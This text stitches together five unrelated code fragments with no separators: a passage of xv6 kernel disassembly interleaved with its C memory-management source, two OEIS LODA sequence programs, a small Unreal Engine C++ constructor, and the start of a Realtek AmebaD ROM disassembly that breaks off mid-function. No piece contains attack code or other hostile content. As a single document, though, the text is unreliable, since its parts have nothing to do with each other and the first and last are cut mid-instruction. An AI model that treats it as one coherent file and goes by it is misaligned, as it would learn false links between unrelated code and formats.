%edi 80106f96: 5d pop %ebp 80106f97: c3 ret 80106f98: 90 nop 80106f99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106fa0: 8d 65 f4 lea -0xc(%ebp),%esp return 0; if(newsz < oldsz) return oldsz; a = PGROUNDUP(oldsz); for(; a < newsz; a += PGSIZE){ 80106fa3: 89 f8 mov %edi,%eax kfree(mem); return 0; } } return newsz; } 80106fa5: 5b pop %ebx 80106fa6: 5e pop %esi 80106fa7: 5f pop %edi 80106fa8: 5d pop %ebp 80106fa9: c3 ret 80106faa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106fb0 <deallocuvm>: // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) { 80106fb0: 55 push %ebp 80106fb1: 89 e5 mov %esp,%ebp 80106fb3: 8b 55 0c mov 0xc(%ebp),%edx 80106fb6: 8b 4d 10 mov 0x10(%ebp),%ecx 80106fb9: 8b 45 08 mov 0x8(%ebp),%eax pte_t *pte; uint a, pa; if(newsz >= oldsz) 80106fbc: 39 d1 cmp %edx,%ecx 80106fbe: 73 10 jae 80106fd0 <deallocuvm+0x20> kfree(v); *pte = 0; } } return newsz; } 80106fc0: 5d pop %ebp 80106fc1: e9 da fa ff ff jmp 80106aa0 <deallocuvm.part.0> 80106fc6: 8d 76 00 lea 0x0(%esi),%esi 80106fc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106fd0: 89 d0 mov %edx,%eax 80106fd2: 5d pop %ebp 80106fd3: c3 ret 80106fd4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106fda: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106fe0 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 80106fe0: 55 push %ebp 80106fe1: 89 e5 mov %esp,%ebp 80106fe3: 57 push %edi 80106fe4: 56 push %esi 80106fe5: 53 push %ebx 80106fe6: 83 ec 0c sub $0xc,%esp 80106fe9: 8b 75 08 mov 0x8(%ebp),%esi uint i; if(pgdir == 0) 80106fec: 85 f6 test %esi,%esi 80106fee: 74 59 je 80107049 <freevm+0x69> 80106ff0: 31 c9 xor %ecx,%ecx 80106ff2: ba 00 00 00 80 mov $0x80000000,%edx 80106ff7: 89 f0 mov %esi,%eax 80106ff9: e8 a2 fa ff ff call 80106aa0 <deallocuvm.part.0> 80106ffe: 89 f3 mov %esi,%ebx 80107000: 8d be 00 10 00 00 lea 0x1000(%esi),%edi 80107006: eb 0f jmp 80107017 <freevm+0x37> 80107008: 90 nop 80107009: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80107010: 83 c3 04 add $0x4,%ebx panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80107013: 39 fb cmp %edi,%ebx 80107015: 74 23 je 8010703a <freevm+0x5a> if(pgdir[i] & PTE_P){ 80107017: 8b 03 mov (%ebx),%eax 80107019: a8 01 test $0x1,%al 8010701b: 74 f3 je 80107010 <freevm+0x30> char * v = P2V(PTE_ADDR(pgdir[i])); kfree(v); 8010701d: 25 00 f0 ff ff and $0xfffff000,%eax 80107022: 83 ec 0c sub $0xc,%esp 80107025: 83 c3 04 add $0x4,%ebx 80107028: 05 00 00 00 80 add $0x80000000,%eax 8010702d: 50 push %eax 8010702e: e8 9d b2 ff ff call 801022d0 <kfree> 80107033: 83 c4 10 add $0x10,%esp uint i; if(pgdir == 0) panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80107036: 39 fb cmp %edi,%ebx 80107038: 75 dd jne 80107017 <freevm+0x37> if(pgdir[i] & PTE_P){ char * v = P2V(PTE_ADDR(pgdir[i])); kfree(v); } } kfree((char*)pgdir); 8010703a: 89 75 08 mov %esi,0x8(%ebp) } 8010703d: 8d 65 f4 lea -0xc(%ebp),%esp 80107040: 5b pop %ebx 80107041: 5e pop %esi 80107042: 5f pop %edi 80107043: 5d pop %ebp if(pgdir[i] & PTE_P){ char * v = P2V(PTE_ADDR(pgdir[i])); kfree(v); } } kfree((char*)pgdir); 80107044: e9 87 b2 ff ff jmp 801022d0 <kfree> freevm(pde_t *pgdir) { uint i; if(pgdir == 0) panic("freevm: no pgdir"); 80107049: 83 ec 0c sub $0xc,%esp 8010704c: 68 65 7d 10 80 push $0x80107d65 80107051: e8 1a 93 ff ff call 80100370 <panic> 80107056: 8d 76 00 lea 0x0(%esi),%esi 80107059: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80107060 <setupkvm>: }; // Set up kernel part of a page table. pde_t* setupkvm(void) { 80107060: 55 push %ebp 80107061: 89 e5 mov %esp,%ebp 80107063: 56 push %esi 80107064: 53 push %ebx pde_t *pgdir; struct kmap *k; if((pgdir = (pde_t*)kalloc()) == 0) 80107065: e8 16 b4 ff ff call 80102480 <kalloc> 8010706a: 85 c0 test %eax,%eax 8010706c: 74 6a je 801070d8 <setupkvm+0x78> return 0; memset(pgdir, 0, PGSIZE); 8010706e: 83 ec 04 sub $0x4,%esp 80107071: 89 c6 mov %eax,%esi if (P2V(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80107073: bb 20 a4 10 80 mov $0x8010a420,%ebx pde_t *pgdir; struct kmap *k; if((pgdir = (pde_t*)kalloc()) == 0) return 0; memset(pgdir, 0, PGSIZE); 80107078: 68 00 10 00 00 push $0x1000 8010707d: 6a 00 push $0x0 8010707f: 50 push %eax 80107080: e8 0b d7 ff ff call 80104790 <memset> 80107085: 83 c4 10 add $0x10,%esp if (P2V(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80107088: 8b 43 04 mov 0x4(%ebx),%eax 8010708b: 8b 4b 08 mov 0x8(%ebx),%ecx 8010708e: 83 ec 08 sub $0x8,%esp 80107091: 8b 13 mov (%ebx),%edx 80107093: ff 73 0c pushl 0xc(%ebx) 80107096: 50 push %eax 80107097: 29 c1 sub %eax,%ecx 80107099: 89 f0 mov %esi,%eax 8010709b: e8 70 f9 ff ff call 80106a10 <mappages> 801070a0: 83 c4 10 add $0x10,%esp 801070a3: 85 c0 test %eax,%eax 801070a5: 78 19 js 801070c0 <setupkvm+0x60> if((pgdir = (pde_t*)kalloc()) == 0) return 0; memset(pgdir, 0, PGSIZE); if (P2V(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 801070a7: 83 c3 10 add $0x10,%ebx 801070aa: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx 801070b0: 75 d6 jne 80107088 <setupkvm+0x28> 801070b2: 89 f0 mov %esi,%eax (uint)k->phys_start, k->perm) < 0) { freevm(pgdir); return 0; } return pgdir; } 801070b4: 8d 65 f8 lea -0x8(%ebp),%esp 801070b7: 5b pop %ebx 801070b8: 5e pop %esi 801070b9: 5d pop %ebp 801070ba: c3 ret 801070bb: 90 nop 801070bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if (P2V(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, (uint)k->phys_start, k->perm) < 0) { freevm(pgdir); 801070c0: 83 ec 0c sub $0xc,%esp 801070c3: 56 push %esi 801070c4: e8 17 ff ff ff call 80106fe0 <freevm> return 0; 801070c9: 83 c4 10 add $0x10,%esp } return pgdir; } 801070cc: 8d 65 f8 lea -0x8(%ebp),%esp panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, (uint)k->phys_start, k->perm) < 0) { freevm(pgdir); return 0; 801070cf: 31 c0 xor %eax,%eax } return pgdir; } 801070d1: 5b pop %ebx 801070d2: 5e pop %esi 801070d3: 5d pop %ebp 801070d4: c3 ret 801070d5: 8d 76 00 lea 0x0(%esi),%esi { pde_t *pgdir; struct kmap *k; if((pgdir = (pde_t*)kalloc()) == 0) return 0; 801070d8: 31 c0 xor %eax,%eax 801070da: eb d8 jmp 801070b4 <setupkvm+0x54> 801070dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801070e0 <kvmalloc>: // Allocate one page table for the machine for the kernel address // space for scheduler processes. void kvmalloc(void) { 801070e0: 55 push %ebp 801070e1: 89 e5 mov %esp,%ebp 801070e3: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 801070e6: e8 75 ff ff ff call 80107060 <setupkvm> 801070eb: a3 84 5c 11 80 mov %eax,0x80115c84 801070f0: 05 00 00 00 80 add $0x80000000,%eax 801070f5: 0f 22 d8 mov %eax,%cr3 switchkvm(); } 801070f8: c9 leave 801070f9: c3 ret 801070fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80107100 <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80107100: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80107101: 31 c9 xor %ecx,%ecx // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80107103: 89 e5 mov %esp,%ebp 80107105: 83 ec 08 sub $0x8,%esp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80107108: 8b 55 0c mov 0xc(%ebp),%edx 8010710b: 8b 45 08 mov 0x8(%ebp),%eax 8010710e: e8 7d f8 ff ff call 80106990 <walkpgdir> if(pte == 0) 80107113: 85 c0 test %eax,%eax 80107115: 74 05 je 8010711c <clearpteu+0x1c> panic("clearpteu"); *pte &= ~PTE_U; 80107117: 83 20 fb andl $0xfffffffb,(%eax) } 8010711a: c9 leave 8010711b: c3 ret { pte_t *pte; pte = walkpgdir(pgdir, uva, 0); if(pte == 0) panic("clearpteu"); 8010711c: 83 ec 0c sub $0xc,%esp 8010711f: 68 76 7d 10 80 push $0x80107d76 80107124: e8 47 92 ff ff call 80100370 <panic> 80107129: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80107130 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz) { 80107130: 55 push %ebp 80107131: 89 e5 mov %esp,%ebp 80107133: 57 push %edi 80107134: 56 push %esi 80107135: 53 push %ebx 80107136: 83 ec 1c sub $0x1c,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 80107139: e8 22 ff ff ff call 80107060 <setupkvm> 8010713e: 85 c0 test %eax,%eax 80107140: 89 45 e0 mov %eax,-0x20(%ebp) 80107143: 0f 84 c5 00 00 00 je 8010720e <copyuvm+0xde> return 0; for(i = 0; i < sz; i += PGSIZE){ 80107149: 8b 4d 0c mov 0xc(%ebp),%ecx 8010714c: 85 c9 test %ecx,%ecx 8010714e: 0f 84 9c 00 00 00 je 801071f0 <copyuvm+0xc0> 80107154: 31 ff xor %edi,%edi 80107156: eb 4a jmp 801071a2 <copyuvm+0x72> 80107158: 90 nop 80107159: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); 80107160: 83 ec 04 sub $0x4,%esp 80107163: 81 c3 00 00 00 80 add $0x80000000,%ebx 80107169: 68 00 10 00 00 push $0x1000 8010716e: 53 push %ebx 8010716f: 50 push %eax 80107170: e8 cb d6 ff ff call 80104840 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) { 80107175: 58 pop %eax 80107176: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 8010717c: b9 00 10 00 00 mov $0x1000,%ecx 80107181: 5a pop %edx 80107182: ff 75 e4 pushl -0x1c(%ebp) 80107185: 50 push %eax 80107186: 89 fa mov %edi,%edx 80107188: 8b 45 e0 mov -0x20(%ebp),%eax 8010718b: e8 80 f8 ff ff call 80106a10 <mappages> 80107190: 83 c4 10 add $0x10,%esp 80107193: 85 c0 test %eax,%eax 80107195: 78 69 js 80107200 <copyuvm+0xd0> uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) return 0; for(i = 0; i < sz; i += PGSIZE){ 80107197: 81 c7 00 10 00 00 add $0x1000,%edi 8010719d: 39 7d 0c cmp %edi,0xc(%ebp) 801071a0: 76 4e jbe 801071f0 <copyuvm+0xc0> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 801071a2: 8b 45 08 mov 0x8(%ebp),%eax 801071a5: 31 c9 xor %ecx,%ecx 801071a7: 89 fa mov %edi,%edx 801071a9: e8 e2 f7 ff ff call 80106990 <walkpgdir> 801071ae: 85 c0 test %eax,%eax 801071b0: 74 6d je 8010721f <copyuvm+0xef> panic("copyuvm: pte should exist"); if(!(*pte & PTE_P)) 801071b2: 8b 00 mov (%eax),%eax 801071b4: a8 01 test $0x1,%al 801071b6: 74 5a je 80107212 <copyuvm+0xe2> panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); 801071b8: 89 c3 mov %eax,%ebx flags = PTE_FLAGS(*pte); 801071ba: 25 ff 0f 00 00 and $0xfff,%eax for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) panic("copyuvm: pte should exist"); if(!(*pte & PTE_P)) panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); 801071bf: 81 e3 00 f0 ff ff and $0xfffff000,%ebx flags = PTE_FLAGS(*pte); 801071c5: 89 45 e4 mov %eax,-0x1c(%ebp) if((mem = kalloc()) == 0) 801071c8: e8 b3 b2 ff ff call 80102480 <kalloc> 801071cd: 85 c0 test %eax,%eax 801071cf: 89 c6 mov %eax,%esi 801071d1: 75 8d jne 80107160 <copyuvm+0x30> } } return d; bad: freevm(d); 801071d3: 83 ec 0c sub $0xc,%esp 801071d6: ff 75 e0 pushl -0x20(%ebp) 801071d9: e8 02 fe ff ff call 80106fe0 <freevm> return 0; 801071de: 83 c4 10 add $0x10,%esp 801071e1: 31 c0 xor %eax,%eax } 801071e3: 8d 65 f4 lea -0xc(%ebp),%esp 801071e6: 5b pop %ebx 801071e7: 5e pop %esi 801071e8: 5f pop %edi 801071e9: 5d pop %ebp 801071ea: c3 ret 801071eb: 90 nop 801071ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) return 0; for(i = 0; i < sz; i += PGSIZE){ 801071f0: 8b 45 e0 mov -0x20(%ebp),%eax return d; bad: freevm(d); return 0; } 801071f3: 8d 65 f4 lea -0xc(%ebp),%esp 801071f6: 5b pop %ebx 801071f7: 5e pop %esi 801071f8: 5f pop %edi 801071f9: 5d pop %ebp 801071fa: c3 ret 801071fb: 90 nop 801071fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) { kfree(mem); 80107200: 83 ec 0c sub $0xc,%esp 80107203: 56 push %esi 80107204: e8 c7 b0 ff ff call 801022d0 <kfree> goto bad; 80107209: 83 c4 10 add $0x10,%esp 8010720c: eb c5 jmp 801071d3 <copyuvm+0xa3> pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) return 0; 8010720e: 31 c0 xor %eax,%eax 80107210: eb d1 jmp 801071e3 <copyuvm+0xb3> for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) panic("copyuvm: pte should exist"); if(!(*pte & PTE_P)) panic("copyuvm: page not present"); 80107212: 83 ec 0c sub $0xc,%esp 80107215: 68 9a 7d 10 80 push $0x80107d9a 8010721a: e8 51 91 ff ff call 80100370 <panic> if((d = setupkvm()) == 0) return 0; for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) panic("copyuvm: pte should exist"); 8010721f: 83 ec 0c sub $0xc,%esp 80107222: 68 80 7d 10 80 push $0x80107d80 80107227: e8 44 91 ff ff call 80100370 <panic> 8010722c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80107230 <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80107230: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80107231: 31 c9 xor %ecx,%ecx //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80107233: 89 e5 mov %esp,%ebp 80107235: 83 ec 08 sub $0x8,%esp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80107238: 8b 55 0c mov 0xc(%ebp),%edx 8010723b: 8b 45 08 mov 0x8(%ebp),%eax 8010723e: e8 4d f7 ff ff call 80106990 <walkpgdir> if((*pte & PTE_P) == 0) 80107243: 8b 00 mov (%eax),%eax return 0; if((*pte & PTE_U) == 0) 80107245: 89 c2 mov %eax,%edx 80107247: 83 e2 05 and $0x5,%edx 8010724a: 83 fa 05 cmp $0x5,%edx 8010724d: 75 11 jne 80107260 <uva2ka+0x30> return 0; return (char*)P2V(PTE_ADDR(*pte)); 8010724f: 25 00 f0 ff ff and $0xfffff000,%eax } 80107254: c9 leave pte = walkpgdir(pgdir, uva, 0); if((*pte & PTE_P) == 0) return 0; if((*pte & PTE_U) == 0) return 0; return (char*)P2V(PTE_ADDR(*pte)); 80107255: 05 00 00 00 80 add $0x80000000,%eax } 8010725a: c3 ret 8010725b: 90 nop 8010725c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi pte = walkpgdir(pgdir, uva, 0); if((*pte & PTE_P) == 0) return 0; if((*pte & PTE_U) == 0) return 0; 80107260: 31 c0 xor %eax,%eax return (char*)P2V(PTE_ADDR(*pte)); } 80107262: c9 leave 80107263: c3 ret 80107264: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010726a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80107270 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80107270: 55 push %ebp 80107271: 89 e5 mov %esp,%ebp 80107273: 57 push %edi 80107274: 56 push %esi 80107275: 53 push %ebx 80107276: 83 ec 1c sub $0x1c,%esp 80107279: 8b 5d 14 mov 0x14(%ebp),%ebx 8010727c: 8b 55 0c mov 0xc(%ebp),%edx 8010727f: 8b 7d 10 mov 0x10(%ebp),%edi char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80107282: 85 db test %ebx,%ebx 80107284: 75 40 jne 801072c6 <copyout+0x56> 80107286: eb 70 jmp 801072f8 <copyout+0x88> 80107288: 90 nop 80107289: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; n = PGSIZE - (va - va0); 80107290: 8b 55 e4 mov -0x1c(%ebp),%edx 80107293: 89 f1 mov %esi,%ecx 80107295: 29 d1 sub %edx,%ecx 80107297: 81 c1 00 10 00 00 add $0x1000,%ecx 8010729d: 39 d9 cmp %ebx,%ecx 8010729f: 0f 47 cb cmova %ebx,%ecx if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); 801072a2: 29 f2 sub %esi,%edx 801072a4: 83 ec 04 sub $0x4,%esp 801072a7: 01 d0 add %edx,%eax 801072a9: 51 push %ecx 801072aa: 57 push %edi 801072ab: 50 push %eax 801072ac: 89 4d e4 mov %ecx,-0x1c(%ebp) 801072af: e8 8c d5 ff ff call 80104840 <memmove> len -= n; buf += n; 801072b4: 8b 4d e4 mov -0x1c(%ebp),%ecx { char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 801072b7: 83 c4 10 add $0x10,%esp if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); len -= n; buf += n; va = va0 + PGSIZE; 801072ba: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx n = PGSIZE - (va - va0); if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); len -= n; buf += n; 801072c0: 01 cf add %ecx,%edi { char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 801072c2: 29 cb sub %ecx,%ebx 801072c4: 74 32 je 801072f8 <copyout+0x88> va0 = (uint)PGROUNDDOWN(va); 801072c6: 89 d6 mov %edx,%esi pa0 = uva2ka(pgdir, (char*)va0); 801072c8: 83 ec 08 sub $0x8,%esp char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ va0 = (uint)PGROUNDDOWN(va); 801072cb: 89 55 e4 mov %edx,-0x1c(%ebp) 801072ce: 81 e6 00 f0 ff ff and $0xfffff000,%esi pa0 = uva2ka(pgdir, (char*)va0); 801072d4: 56 push %esi 801072d5: ff 75 08 pushl 0x8(%ebp) 801072d8: e8 53 ff ff ff call 80107230 <uva2ka> if(pa0 == 0) 801072dd: 83 c4 10 add $0x10,%esp 801072e0: 85 c0 test %eax,%eax 801072e2: 75 ac jne 80107290 <copyout+0x20> len -= n; buf += n; va = va0 + PGSIZE; } return 0; } 801072e4: 8d 65 f4 lea -0xc(%ebp),%esp buf = (char*)p; while(len > 0){ va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; 801072e7: b8 ff ff ff ff mov $0xffffffff,%eax len -= n; buf += n; va = va0 + PGSIZE; } return 0; } 801072ec: 5b pop %ebx 801072ed: 5e pop %esi 801072ee: 5f pop %edi 801072ef: 5d pop %ebp 801072f0: c3 ret 801072f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801072f8: 8d 65 f4 lea -0xc(%ebp),%esp memmove(pa0 + (va - va0), buf, n); len -= n; buf += n; va = va0 + PGSIZE; } return 0; 801072fb: 31 c0 xor %eax,%eax } 801072fd: 5b pop %ebx 801072fe: 5e pop %esi 801072ff: 5f pop %edi 80107300: 5d pop %ebp 80107301: c3 ret
; A154992: A048473 prefixed by two zeros. ; 0,0,1,5,17,53,161,485,1457,4373,13121,39365,118097,354293,1062881,3188645,9565937,28697813,86093441,258280325,774840977,2324522933,6973568801,20920706405,62762119217,188286357653,564859072961,1694577218885,5083731656657,15251194969973,45753584909921,137260754729765,411782264189297,1235346792567893,3706040377703681,11118121133111045,33354363399333137,100063090197999413,300189270593998241,900567811781994725,2701703435345984177,8105110306037952533,24315330918113857601,72945992754341572805 mov $1,3 pow $1,$0 mul $1,8 div $1,6 sub $1,1 div $1,6 mov $0,$1
#include "TriFacetDynamicIcon.h" UTriFacetDynamicIcon::UTriFacetDynamicIcon() { this->Primary3Texture_BasePoint = 0.00f; this->Primary3Texture_Contrast = 0.00f; }
; A155020: a(n) = 2*a(n-1) + 2*a(n-2) for n>2, a(0)=1, a(1)=1, a(2)=3. ; 1,1,3,8,22,60,164,448,1224,3344,9136,24960,68192,186304,508992,1390592,3799168,10379520,28357376,77473792,211662336,578272256,1579869184,4316282880,11792304128,32217174016,88018956288,240472260608,656982433792,1794909388800,4903783645184,13397386067968,36602339426304,99999450988544,273203580829696,746406063636480,2039219288932352,5571250705137664,15220939988140032,41584381386555392,113610642749390848,310390048271892480,848001382042566656,2316782860628918272,6329568485342969856,17292702691943776256,47244542354573492224,129074490093034536960,352638064895216058368,963425109976501190656,2632126349743434498048,7191102919439871377408,19646458538366611750912,53675122915612966256640,146643162907959156015104,400636571647144244543488,1094559469110206801117184,2990392081514702091321344,8169903101249817784877056,22320590365529039752396800,60980986933557715074547712,166603154598173509653889024,455168283063462449456873472,1243542875323271918221524992,3397422316773468735356796928,9281930384193481307156643840,25358705401933900085026881536,69281271572254762784367050752,189279953948377325738787864576,517122451041264177046309830656,1412804809979283005570195390464,3859854522041094365233010442240,10545318664040754741606411665408,28810346372163698213678844215296,78711330072408905910570511761408,215043352889145208248498711953408,587509365923108228318138447429632,1605105437624506873133274318766080,4385229607095230202902825532391424,11980670089439474152072199702315008,32731799393069408709950050469412864,89424938965017765724044500343455744,244313476716174348867989101625737216,667476831362384229184067203938385920 add $0,1 seq $0,2605 ; a(n) = 2*(a(n-1) + a(n-2)), a(0) = 0, a(1) = 1. max $0,2 div $0,2
/cygdrive/E/AmebaD/sdk/svn_new/project/realtek_amebaD_cm4_gcc_verification/asdk/image/target_rom.axf: file format elf32-littlearm Disassembly of section .rom.text: 10100000 <__vectors_table>: 10100000: 1007effc .word 0x1007effc 10100004: 10100101 .word 0x10100101 10100008: 10100111 .word 0x10100111 1010000c: 10100115 .word 0x10100115 10100010: 10100119 .word 0x10100119 10100014: 1010011d .word 0x1010011d 10100018: 10100121 .word 0x10100121 1010001c: 10100125 .word 0x10100125 ... 10100100 <Reset_Handler>: 10100100: f8df 0024 ldr.w r0, [pc, #36] ; 10100128 <SecureFault_Handler+0x4> 10100104: 6801 ldr r1, [r0, #0] 10100106: f441 0170 orr.w r1, r1, #15728640 ; 0xf00000 1010010a: 6001 str r1, [r0, #0] 1010010c: f004 b94c b.w 101043a8 <BOOT_ROM_ResetVsr> 10100110 <NMI_Handler>: 10100110: f006 ba90 b.w 10106634 <INT_NMI> 10100114 <HardFault_Handler>: 10100114: f006 b856 b.w 101061c4 <INT_HardFault> 10100118 <MemManage_Handler>: 10100118: f006 b864 b.w 101061e4 <INT_MemManage> 1010011c <BusFault_Handler>: 1010011c: f006 b872 b.w 10106204 <INT_BusFault> 10100120 <UsageFault_Handler>: 10100120: f006 b880 b.w 10106224 <INT_UsageFault> 10100124 <SecureFault_Handler>: 10100124: f006 b88e b.w 10106244 <INT_SecureFault> 10100128: e000ed88 .word 0xe000ed88 1010012c <DiagVSprintf>: 1010012c: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 10100130: 780b ldrb r3, [r1, #0] 10100132: b087 sub sp, #28 10100134: 4607 mov r7, r0 10100136: 2b00 cmp r3, #0 10100138: f000 813e beq.w 101003b8 <DiagVSprintf+0x28c> 1010013c: 4605 mov r5, r0 1010013e: 460e mov r6, r1 10100140: 4691 mov r9, r2 10100142: f8df 82a8 ldr.w r8, [pc, #680] ; 101003ec <DiagVSprintf+0x2c0> 10100146: 4618 mov r0, r3 10100148: e009 b.n 1010015e <DiagVSprintf+0x32> 1010014a: 2f00 cmp r7, #0 1010014c: f000 80cf beq.w 101002ee <DiagVSprintf+0x1c2> 10100150: 7028 strb r0, [r5, #0] 10100152: 3501 adds r5, #1 10100154: 7870 ldrb r0, [r6, #1] 10100156: 3601 adds r6, #1 10100158: 2800 cmp r0, #0 1010015a: f000 8095 beq.w 10100288 <DiagVSprintf+0x15c> 1010015e: 2825 cmp r0, #37 ; 0x25 10100160: d1f3 bne.n 1010014a <DiagVSprintf+0x1e> 10100162: 7874 ldrb r4, [r6, #1] 10100164: 2c73 cmp r4, #115 ; 0x73 10100166: f106 0601 add.w r6, r6, #1 1010016a: f000 8094 beq.w 10100296 <DiagVSprintf+0x16a> 1010016e: f8d9 0000 ldr.w r0, [r9] 10100172: 280f cmp r0, #15 10100174: dd6b ble.n 1010024e <DiagVSprintf+0x122> 10100176: f1a0 0310 sub.w r3, r0, #16 1010017a: 2bef cmp r3, #239 ; 0xef 1010017c: f240 80a0 bls.w 101002c0 <DiagVSprintf+0x194> 10100180: f5a0 7380 sub.w r3, r0, #256 ; 0x100 10100184: f5b3 6f70 cmp.w r3, #3840 ; 0xf00 10100188: f080 80a0 bcs.w 101002cc <DiagVSprintf+0x1a0> 1010018c: f1a4 0230 sub.w r2, r4, #48 ; 0x30 10100190: 2a09 cmp r2, #9 10100192: f04f 0308 mov.w r3, #8 10100196: d85f bhi.n 10100258 <DiagVSprintf+0x12c> 10100198: 2300 movs r3, #0 1010019a: eb03 0383 add.w r3, r3, r3, lsl #2 1010019e: eb04 0243 add.w r2, r4, r3, lsl #1 101001a2: f816 4f01 ldrb.w r4, [r6, #1]! 101001a6: f1a4 0130 sub.w r1, r4, #48 ; 0x30 101001aa: 2909 cmp r1, #9 101001ac: f1a2 0330 sub.w r3, r2, #48 ; 0x30 101001b0: d9f3 bls.n 1010019a <DiagVSprintf+0x6e> 101001b2: f1a2 0331 sub.w r3, r2, #49 ; 0x31 101001b6: 2c78 cmp r4, #120 ; 0x78 101001b8: ea4f 0383 mov.w r3, r3, lsl #2 101001bc: d14e bne.n 1010025c <DiagVSprintf+0x130> 101001be: f10d 0e04 add.w lr, sp, #4 101001c2: 46f3 mov fp, lr 101001c4: f04f 0c20 mov.w ip, #32 101001c8: f109 0904 add.w r9, r9, #4 101001cc: 2800 cmp r0, #0 101001ce: f000 809b beq.w 10100308 <DiagVSprintf+0x1dc> 101001d2: 4602 mov r2, r0 101001d4: 2100 movs r1, #0 101001d6: e000 b.n 101001da <DiagVSprintf+0xae> 101001d8: 4621 mov r1, r4 101001da: 0912 lsrs r2, r2, #4 101001dc: f101 0401 add.w r4, r1, #1 101001e0: d1fa bne.n 101001d8 <DiagVSprintf+0xac> 101001e2: 008a lsls r2, r1, #2 101001e4: 4293 cmp r3, r2 